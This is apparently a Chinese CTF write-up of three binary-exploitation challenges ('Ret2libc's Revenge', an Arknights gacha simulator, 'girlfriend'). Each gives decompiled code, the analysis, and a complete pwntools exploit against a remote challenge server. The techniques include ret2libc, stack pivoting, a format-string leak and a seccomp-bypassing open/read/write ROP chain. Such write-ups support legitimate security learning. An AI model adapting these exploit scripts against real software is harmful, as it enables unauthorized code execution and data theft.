Ret2libc’s Revenge

复现/ret2libc/全缓冲

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
puts("Ret2libc's Revenge");
revenge();
return 0;
}
__int64 init()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 0, 0LL);
setvbuf(stderr, 0LL, 0, 0LL);
return 0LL;
}
__int64 revenge()
{
int v0; // eax
char v2[528]; // [rsp+0h] [rbp-220h]
int v3; // [rsp+210h] [rbp-10h]
char v4; // [rsp+217h] [rbp-9h]
int v5; // [rsp+218h] [rbp-8h]
int v6; // [rsp+21Ch] [rbp-4h]

v5 = 0;
while ( !feof(stdin) )
{
v4 = fgetc(stdin);
if ( v4 == 10 )
break;
v0 = v6++;
v5 = v0;
v2[v0] = v4;
}
v3 = v6;
v2[v6] = 0;
return v3;
}

因为没有发现全缓冲,导致一直leak失败,其实其他思路都没有问题
打ret2libc,但是我们试运行程序时候发现当我们输入完之后才会输出Ret2libc’s Revenge,为什么?
原来setvbuf将stdout设置为了0,全缓冲模式,只有当输出缓冲区满了或者调用fflush函数才会输出内容
我们这里没有fflush函数可以调用,于是只有填满缓冲区,我们找到text段的puts如下

1
2
.text:000000000040128D                 lea     rdi, s          ; "Ret2libc's Revenge"
.text:0000000000401294 call _puts

通过不断调用这一片段来不断填充输出缓冲区直至填满
注意我们构造payload时向栈中写入数据的索引v6也在栈上,当我们写入到v6的位置时,我们直接覆盖v6的低字节,以实现跳过。v6在rbp-4处,返回地址在rbp+8处,我们写入到v6时,v6为0x21c,我们写入一字节的0x28,将v6改为0x228,这样后续写入的字节便是直接从返回地址开始填充了
至于gadget的寻找,我们利用ROPgadget并没有找到可以直接控制rdi的片段,于是我们手动找到了可以间接控制rdi的片段

1
2
.text:0000000000401180                 mov     rdi, rsi
.text:0000000000401183 retn

以及

1
2
.text:00000000004010EB                 add     rsi, [rbp+20h]
.text:00000000004010EF retn

以及

1
2
.text:00000000004010E4                 and     rsi, 0
.text:00000000004010E8 retn

最后

1
2
.text:000000000040117D                 pop     rbp
.text:000000000040117E retn

这些片段结合使用便可以控制rdi
缓冲区填满后直接常规泄露libc即可
wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import*
context.os='linux'
context.arch='amd64'
context.log_level='debug'

r=remote('gz.imxbt.cn',20605)
e=ELF('./attachment')
libc=ELF('./libc.so.6')
puts_got=e.got['puts']
puts_plt=e.plt['puts']
main_add=0x40127b
mov_rdi_rsi=0x401180
add_rsi=0x4010eb
and_rsi_0=0x4010e4
ret=0x401150
pop_rbp=0x40117d
fake_rbp=0x400600-0x20
puts_str = 0x40128D
payload = b'a'*(528+12)
payload += p8(0x28)
payload += p64(puts_str)
for i in range(214):
r.sendline(payload)
payload1=b'a'*540+p8(0x28)+p64(and_rsi_0)+p64(pop_rbp)+p64(fake_rbp)+p64(add_rsi)+p64(mov_rdi_rsi)+p64(puts_plt)+p64(ret)+p64(and_rsi_0)+p64(pop_rbp)+p64(fake_rbp)+p64(add_rsi)+p64(mov_rdi_rsi)+p64(puts_plt)+p64(main_add)
r.sendline(payload1)
for i in range(215):
r.recvuntil(b"Ret2libc's Revenge\n")
puts_add=u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libcbase=puts_add-libc.sym["puts"]
sys_add=libcbase+libc.sym["system"]
bin_add=libcbase+next(libc.search(b"/bin/sh"))
pop_rdi=libcbase+0x2a3e5
payload2=b'a'*540+p8(0x28)+p64(pop_rdi)+p64(bin_add)+p64(ret)+p64(sys_add)
r.sendline(payload2)

r.interactive()

明日方舟寻访模拟器

复盘/栈迁移/ROP

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v4; // [rsp+Ch] [rbp-44h] BYREF
char s[44]; // [rsp+10h] [rbp-40h] BYREF
int v6; // [rsp+3Ch] [rbp-14h] BYREF
const char *v7; // [rsp+40h] [rbp-10h]
int v8; // [rsp+4Ch] [rbp-4h]

init(argc, argv, envp);
memset(s, 0, 0x20uLL);
puts(&byte_402C68);
getchar();
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts(&byte_402CA0);
__isoc99_scanf(&unk_402CE3, &v6);
getchar();
if ( v6 != 1 )
break;
employ(1);
}
if ( v6 != 2 )
break;
employ(10);
}
if ( v6 != 3 )
break;
v4 = 0;
puts(&byte_402CE6);
__isoc99_scanf(&unk_402CE3, &v4);
getchar();
if ( v4 <= 0x2710 )
{
if ( v4 )
{
employ(v4);
}
else
{
puts(&byte_402D0C);
getchar();
}
}
else
{
puts(&byte_402CFF);
getchar();
}
}
if ( v6 == 4 )
break;
puts(&byte_402D23);
}
printf(
&byte_402D38,
(unsigned int)ch_n,
(unsigned int)dword_405BE4,
(unsigned int)dword_405BE8,
(unsigned int)dword_405BEC);
__isoc99_scanf(&unk_402CE3, &v6);
if ( v6 == 1 )
{
puts(&byte_402DC6);
read(0, s, 0x60uLL);
puts(&byte_402DDF);
}
printf("%s", byte_402DEF);
v8 = 50015;
puts(&byte_402E02);
system("echo bye~");
v7 = "null";
close(1);
return 0;
}

源码的漏洞点在于最后的“向好友炫耀”(潜意思是晒欧不得好死吗)时输入名字时存在溢出,题目也有system函数
所以最后关键在于传入/bin/sh
我们看调用read函数时的汇编

1
2
3
4
5
lea     rax, [rbp+s]
mov edx, 60h ; '`' ; nbytes
mov rsi, rax ; buf
mov edi, 0 ; fd
call _read

发现读入数据的存放地址是rbp+s,这里s是-0x40,于是我们便可以在第一次read时候先填充垃圾数据直到rbp,然后覆盖rbp为target+0x40,这里target就是我们伪造的栈段的地址(函数返回前都会执行一次leave;ret,这时rbp的值也就变为了我们填充的target+0x40,后文有解释)
接着填充返回地址为调用read的地址以便第二次溢出
在第二次溢出时我们在target写入’/bin/sh\x00’,然后控制rdi指向这个target地址,也就指向了/bin/sh,然后接着写sys地址
接着继续填充到ebp,覆盖ebp为target,在返回地址填上leave_ret指令的地址,也就完成了栈迁移
leave_ret指令其实就是

1
2
3
mov rsp,rbp
pop rbp
pop rip

其实最初我有疑惑在于我们修改了read的读入地址,第二次读入的数据便不在栈上了,后续填充ebp和返回地址以栈迁移是如何完成的呢?
后来我想到,在调用一个函数前,程序会先同步rsp和rbp,开辟新的栈帧,也就是执行

1
2
push rbp
mov rbp,rsp

在第一次调用结束后,return前会先leave ret一次,这时候rsp指向了rbp,也就是我们覆盖的target+0x40,接着pop rbp,rbp到了target+0x40处,再pop rip,执行我们填充的call_read,调用read函数时,先push rbp,也就是target+0x40入栈,再mov rbp,rsp,这时候rsp指向target+0x40,那么rbp也指向target+0x40,这时候我们发现rsp和rbp都指向target+0x40,接着rsp根据read函数的需求向低地址扩张,然后读入我们输入的数据。这时候我们发现我们已经在target附近伪造了一个栈
这时候我们再覆盖rbp为target,覆盖返回地址为leave_ret指令,函数返回时便会leave_ret两次,然后pop进rip的便是target+8处的指令了。也就实现了栈迁移劫持程序执行流

wp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import*
context.os='linux'
context.arch='amd64'
context.log_level='debug'

r=remote('gz.imxbt.cn',20551)
e=ELF('./arknights')
pop_rdi=0x4018e5
leave_ret=0x401393
ret=0x40101a
bss_add=0x405b00
call_read=0x4018a8
sys_plt=e.plt['system']
r.recvuntil("欢迎使用明日方舟寻访模拟器!祝你好运~\n")
r.sendline('')
r.recvuntil("请选择:[1]单抽 [2]十连 [3]自定义数量 [4]结束抽卡\n")
r.sendline(b'4')
r.recvuntil("请选择:[1]向好友炫耀 [2]退出\n")
r.sendline(b'1')
r.recvuntil("请输入你的名字:")
payload1=b'a'*0x40+p64(bss_add+0x40)+p64(call_read)
r.sendline(payload1)
fake_stack=b'/bin/sh\x00'+p64(pop_rdi)+p64(bss_add)+p64(ret)+p64(sys_plt)
fake_stack=fake_stack.ljust(0x40,b'\x00')
payload2=fake_stack+p64(bss_add)+p64(leave_ret)
r.sendline(payload2)
r.interactive()

girlfriend

复现/ret2libc/orw/ROP

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int i; // [rsp+8h] [rbp-38h]
char v5[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v6; // [rsp+38h] [rbp-8h]

v6 = __readfsqword(0x28u);
sub_1309(a1, a2, a3);
sub_1372();
sub_14F6();
for ( i = 0; i <= 5; ++i )
{
sub_1519();
switch ( sub_157C(v5) )
{
case 1:
sub_15C9();
sleep(1u);
break;
case 2:
sub_1678();
sleep(1u);
break;
case 3:
sub_1708();
sleep(1u);
break;
case 4:
sub_179B();
sleep(1u);
break;
case 5:
puts("BabyShark will be very sad.....");
exit(0);
default:
puts("no no no....");
exit(0);
}
}
return 0LL;
}

菜单

1
2
3
4
5
6
7
8
9
10
11
__int64 sub_1519()
{
puts("I will give you some options:");
puts("1. GirlFriend!!!");
puts("2. BuyFlowers");
puts("3. Reply");
puts("4. SingSongs");
puts("5. I don't care");
puts("Your Choice:");
return 0LL;
}

其中有用的选项源码如下

选项1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 sub_15C9()
{
char buf[56]; // [rsp+0h] [rbp-40h] BYREF
unsigned __int64 v2; // [rsp+38h] [rbp-8h]

v2 = __readfsqword(0x28u);
if ( dword_4094 )
{
puts("You have already tried to talk to her, and she left...");
}
else
{
dword_4094 = 1;
puts("Girl is very beautiful!");
puts("what do you want to say to her?");
read(0, buf, 0x50uLL);
printf("You say: %s\n", buf);
puts("but she left.........");
}
return 0LL;
}

选项2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
__int64 sub_1678()
{
char v1; // [rsp+Fh] [rbp-1h]

puts("Do you want to buy her flowers?");
puts("Y/N");
v1 = getchar();
while ( getchar() != 10 )
;
if ( v1 == 89 || v1 == 121 )
{
if ( dword_4090 <= 200 )
{
puts("you don't have enough money");
}
else
{
puts("You did it!\n");
system("echo /flag");
}
}
else
{
printf("what a pity!");
}
return 0LL;
}

选项3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 sub_1708()
{
if ( dword_4098 <= 1 )
{
++dword_4098;
puts("You should tell her your name first");
read(0, byte_4060, 0x100uLL);
puts("your name:");
printf(byte_4060);
puts("You also get her name: XM");
puts("Good luck!");
}
else
{
puts("You can only introduce yourself twice.");
}
return 0LL;
}

看到第二个选项,一看可以直接echo /flag,还有这种好事?马上通过选项3修改dword_4090的值大于200,然后发现输出了You did it!\n却没有flag
接着发现程序开启了沙箱(悲),禁用了系统调用和open函数并且使⽤read函数的时候第⼀次参数只允许为0,所以这⾥我们需要close(0)之后再调⽤openat打开flag⽂件进⾏读取,否则⽆法使⽤read读取,具体如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ seccomp-tools dump ./pwnpwn/xyctf_girlfriend
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0c 0xc000003e if (A != ARCH_X86_64) goto 0014
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x09 0xffffffff if (A != 0xffffffff) goto 0014
0005: 0x15 0x08 0x00 0x00000002 if (A == open) goto 0014
0006: 0x15 0x07 0x00 0x0000003b if (A == execve) goto 0014
0007: 0x15 0x06 0x00 0x00000142 if (A == execveat) goto 0014
0008: 0x15 0x00 0x04 0x00000000 if (A != read) goto 0013
0009: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # read(fd, buf, count)
0010: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0014
0011: 0x20 0x00 0x00 0x00000010 A = fd # read(fd, buf, count)
0012: 0x15 0x00 0x01 0x00000000 if (A != 0x0) goto 0014
0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0014: 0x06 0x00 0x00 0x00000000 return KILL

open函数可以用openat代替,于是进行orw
程序开启了canary保护和PIE保护,选项三有格式化字符串漏洞,可以利用来泄露canary,libc地址和程序基地址
选项1的溢出长度并不足以进行orw,于是我们把rop链用选项三写入,然后利用选项一栈迁移过去即可
需要注意的是,迁移过去的前56字节不要写rop链,不然会执行失败(还不知道为啥)

wp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import*
context.os='linux'
context.arch='amd64'
context.log_level='debug'

r=remote('gz.imxbt.cn',20331)
libc=ELF('./libc.so.6')
elf=ELF('./xyctf_girlfriend')
def talk(content):
r.sendlineafter(b'Your Choice:\n',str(1))
r.sendafter(b'what do you want to say to her?',content)

def name(myname):
r.sendlineafter(b'Your Choice:\n',str(3))
r.sendafter(b'You should tell her your name first\n',myname)
r.recvuntil(b'your name:\n')

payload1=b'%15$p%17$p%7$p'
payload1=payload1.ljust(0x100,b'\x00')
name(payload1)
r.recvuntil(b'0x')
canary=int(r.recv(16),16)
r.recvuntil(b'0x')
leak_add=int(r.recv(12),16)
r.recvuntil(b'0x')
elfbase=int(r.recv(12),16)-0x18d9
libcbase=leak_add+48-libc.sym['__libc_start_main']
pop_rdi=libcbase+0x2a3e5
pop_rsi=libcbase+0x2be51
pop_rdx_r12=libcbase+0x11f2e7
pop_rax=libcbase+0x45eb0
leave_ret=libcbase+0x4da83
open_add=libcbase+libc.sym['openat']
read_add=libcbase+libc.sym['read']
write_add=libcbase+libc.sym['write']
close_add=libcbase+libc.sym['close']
name_add=elfbase+0x4060
ropchain=b'flag\x00\x00\x00\x00'+p64(0)*6+p64(pop_rdi)+p64(0)+p64(close_add)+p64(pop_rdi)+p8(156)+p8(255)*7+p64(pop_rsi)+p64(name_add)+p64(pop_rdx_r12)
ropchain+=p64(0)+p64(0)+p64(open_add)+p64(pop_rdi)+p64(0)+p64(pop_rdx_r12)+p64(0x100)+p64(0)+p64(read_add)+p64(pop_rdi)+p64(1)
ropchain+=p64(pop_rdx_r12)+p64(0x100)+p64(0)+p64(pop_rax)+p64(0)+p64(write_add)
ropchain=ropchain.ljust(0x100,b'\x00')
name(ropchain)
payload2=b'a'*56+p64(canary)+p64(name_add+48)+p64(leave_ret)
talk(payload2)
r.interactive()